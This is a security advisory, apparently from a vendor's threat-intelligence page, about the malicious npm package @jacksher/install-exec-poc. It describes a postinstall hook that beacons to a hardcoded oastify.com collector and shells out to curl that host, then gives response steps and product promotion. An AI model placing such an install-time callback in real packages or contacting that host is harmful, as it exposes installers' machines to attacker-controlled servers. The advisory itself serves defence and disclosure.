@jacksher/install-exec-pocnpm
@jacksher/install-exec-poc is a confirmed malicious npm package (MAL-2026-13972) that opens a backdoor for remote access (malicious versions 1.0.0, 1.0.2, 1.0.3). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @jacksher/install-exec-poc (npm)
What this malware does
package.json declares postinstall: node beacon.js. On every npm install, beacon.js unconditionally performs a DNS lookup, an HTTPS GET to https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired, and child_process.execSync('curl -s https://<same-host>/ci', {stdio:'ignore'}) against the same hardcoded oastify.com (Burp Collaborator) subdomain. The callback fires unconditionally at install time, causing the installer's machine to emit out-of-band DNS and HTTP traffic to an attacker-controlled OAST collector, disclosing the installer's public IP and resolver metadata. The use of execSync to shell out to curl at postinstall also establishes an install-time shell-to-network primitive on the installer's host. The package name (install-exec-poc) self-labels as a proof-of-concept, but the behavior fires on any consumer who installs the package.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @jacksher/install-exec-poc (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @jacksher/install-exec-poc across your stack and pipelines.
If you installed it — respond
@jacksher/install-exec-poc establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If @jacksher/install-exec-poc was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @jacksher/install-exec-poc before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @jacksher/install-exec-poc-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.